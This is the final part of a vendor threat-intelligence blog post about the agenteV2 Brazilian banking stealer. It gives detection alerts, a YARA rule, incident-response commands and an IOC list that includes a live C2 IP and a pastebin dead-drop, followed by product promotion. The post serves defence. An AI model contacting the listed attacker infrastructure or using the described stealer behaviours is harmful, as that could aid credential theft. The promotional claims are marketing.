• Alert: Scheduled Task creation with /rl highest by non-SYSTEM processes (Event ID 4698); 

• Alert: HKCURun key creation by non-installer processes; 

• Alert: ADODB.Stream + MSXML2.ServerXMLHTTP instantiated in the same WScript.exe process; 

• Alert: Outbound TLS connections to port 8443 from non-browser processes. 

3. YARA detection rule 

Use YARA rule search in TI Lookup:  

The rule: 

rule Win_Stealer_AgenteV2_Nuitka { 

meta: 

description = "Core Banker Stealer Nuitka Compiled" 

author = "0xOlympus" 

reference = "Analise de Campanha Judicial" 

date = "2026-03-19" 

severity = "Critical" 


strings: 

// Nuitka Artifcats 

$n1 = "NUITKA_PACKAGE_HOME" ascii 

$n2 = "__nuitka_binary_dir" ascii 

// Strings from report 

$s1 = "agenteV2_historico_detect.dll" ascii wide 

$s2 = "wifi_driver.exe" ascii wide 

$s3 = "reiniciar.exe" ascii wide 

// C2 protocol 

$c2 = "uws://" ascii 

condition: 

uint16(0) == 0x5A4D and (all of ($n*) and 2 of ($s*)) or ($c2) 

}

4. Incident Response Checklist 

Verify the presence of active compromise indicators:

schtasks /query /tn "RunAsAdmin_AutoUpdate" 

schtasks /query /tn "RunAsAdmin_Executar" 

reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v MonitorSystem dir "C:Program Files (x86)Wi-fi" 

• Isolate affected host from network immediately upon detection; 

• Collect full memory dump of wifi_driver.exe and reiniciar.exe processes before terminating; 

• Hash all files in C:Program Files (x86)Wi-fi and compare against IOCs in section 6.1; 

• Assume all browser-saved credentials are compromised reset all banking, email, and crypto account passwords; 

• Review outbound TLS/8443 traffic in network logs for the past 30 days to assess exfiltration window; 

• Check browser extension integrity stealer may have modified or added extensions. 

5. Threat Intelligence: TI Feeds & TI Lookup 

Proactive intelligence on this campaign and similar threats can be operationalized using ANY.RUN’s Threat Intelligence suite: 

• ANY.RUN TI Lookup: Query all IOCs from this report (domains, IPs, file hashes, JA3 fingerprints) directly in TI Lookup to retrieve correlated sandbox verdicts, associated samples, C2 infrastructure mappings, and MITRE ATT&CK tagging across the ANY.RUN corpus. TI Lookup returns structured, analyst-ready context including first-seen/last-seen timestamps, related tasks, and artifact relationships — dramatically accelerating triage. 

• ANY.RUN TI Feeds: Subscribe to structured IOC feeds to push indicators from this campaign — and the broader Brazilian banking stealer ecosystem — directly into your SIEM, SOAR, EDR, or firewall. Feeds are updated continuously as new samples are analyzed in the sandbox, providing near-real-time coverage of emerging infrastructure and payload variants. 

• YARA Rules in TI Feeds: The Win_Stealer_AgenteV2_Nuitka YARA rule (section 9.3) can be deployed via ANY.RUN’s TI infrastructure to automatically flag new samples matching the Nuitka agenteV2 pattern as they surface in the wild. 

• Proactive Monitoring: Use TI Lookup to monitor the Pastebin dead-drop URL (pastebin.com/raw/0RmxqY57) and C2 IP (38.242.246.176) for updates — if the threat actor rotates infrastructure, ANY.RUN’s correlated sandbox data will surface the new indicators before they reach victim endpoints. 

The Business Case for ANY.RUN Enterprise 

Security decision-makers evaluating their defensive posture against threats like agenteV2 face three compounding problems: the attack surface is broad (any employee in Brazil is a potential victim), the time-to-fraud is measured in minutes (not days), and the attacker’s tooling actively resists the tools most organizations currently deploy. The question is not whether a more capable threat intelligence and analysis platform is needed. It is whether the cost of that platform is lower than the cost of a single successful fraud event. 

Based on the capabilities demonstrated in this campaign, the answer is unambiguous. A single successful agenteV2 infection gives an attacker live visibility into an employee’s banking session, the ability to issue commands through a remote shell, and persistence that survives the endpoint until it is explicitly cleaned. The financial exposure from a single operator-assisted fraud event, combined with the credential exfiltration across all browser profiles, will in most cases far exceed the annual cost of enterprise-grade behavioral analysis and threat intelligence. 

ANY.RUN Enterprise Suit addresses each failure mode this campaign is designed to exploit: 

• Before infection: Interactive Sandbox detonates suspicious email attachments, including password-protected PDFs, with analyst interaction in a fully instrumented Windows environment. The complete 11-stage attack chain surfaces in minutes, before any production endpoint is touched. 

• During triage: TI Lookup delivers instant, correlated intelligence on every IOC in this report (domains, IPs, file hashes, JA3 fingerprints) with MITRE ATT&CK mapping, first/last seen timestamps, and linked sandbox analyses. Triage that takes an analyst hours without context takes seconds with TI Lookup. 

• At scale and speed: TI Feeds push structured, continuously updated IOC streams directly into your SIEM, SOAR, EDR, and firewall, converting sandbox findings into blocking and detection rules automatically, across your entire environment, without analyst intervention per indicator. 

• Against evasion: Behavioral analysis in ANY.RUN’s sandbox is not defeated by Nuitka compilation, in-memory execution, or filename masquerading. It observes what the malware does, not what it looks like, making it structurally resistant to the obfuscation techniques this campaign relies on. 

• Against infrastructure rotation: The JA3 TLS fingerprint and behavioral YARA rule in this report remain valid even after the threat actor rotates their C2 IP. ANY.RUN’s TI infrastructure ensures these durable detection signals are operationalized immediately, not after the next campaign wave. 

The agenteV2 operators have invested meaningfully in their tooling. The organizations they target deserve to match that investment — with a platform built for the reality of modern, operator-assisted financial fraud rather than the commodity threats of five years ago. 

Conclusion 

This campaign is a vivid reminder that phishing has outgrown its old role as a simple delivery mechanism. It now acts as a gateway to interactive, real-time financial compromise, where attackers don’t just steal data, they participate in the victim’s actions like an invisible co-pilot with bad intentions. 

For businesses, the risk is no longer limited to credential leakage. When malware enables live screen monitoring, remote command execution, and direct interaction with financial sessions, the impact shifts to immediate financial loss, operational disruption, and reputational damage. Finance teams, executives, and any employees handling sensitive transactions become prime targets. 

Defending against this class of threats requires more than static detection. Organizations need visibility into behavior, speed in investigation, and context for decision-making. 

This is where a combined approach becomes critical: 

• Interactive Sandbox analysis helps teams understand exactly how a threat behaves before it spreads. 

• Threat Intelligence Feeds allow proactive blocking of known malicious infrastructure. 

• TI Lookup provides instant context, turning isolated indicators into actionable insight. 

Together, these capabilities transform security from reactive firefighting into controlled, informed response. 

In a landscape where attackers operate in real time, businesses must do the same.

About ANY.RUN   

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams investigate threats faster and with greater clarity across modern enterprise environments.   

It allows teams to safely execute suspicious files and URLs, observe real behavior in an Interactive Sandbox, enrich indicators with immediate context through TI Lookup, and monitor emerging malicious infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce investigation uncertainty, accelerate triage, and limit unnecessary escalations across the SOC.   

ANY.RUN is trusted by thousands of organizations worldwide and meets enterprise security and compliance expectations. It is SOC 2 Type II certified, demonstrating its commitment to protecting customer data and maintaining strong security controls. 

Indicators of Compromise

1. File Hashes

Network IOCs

Malicious URLs

Host-Based IOCs

TLS / Network Fingerprints

IDS/IPS Signatures (Observed Suricata Alerts)

MITRE ATT&CK Mapping

FAQ

The post Inside agenteV2: How Brazilian Attackers Use Fake Court Summons to Steal Banking Credentials in Real Time  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More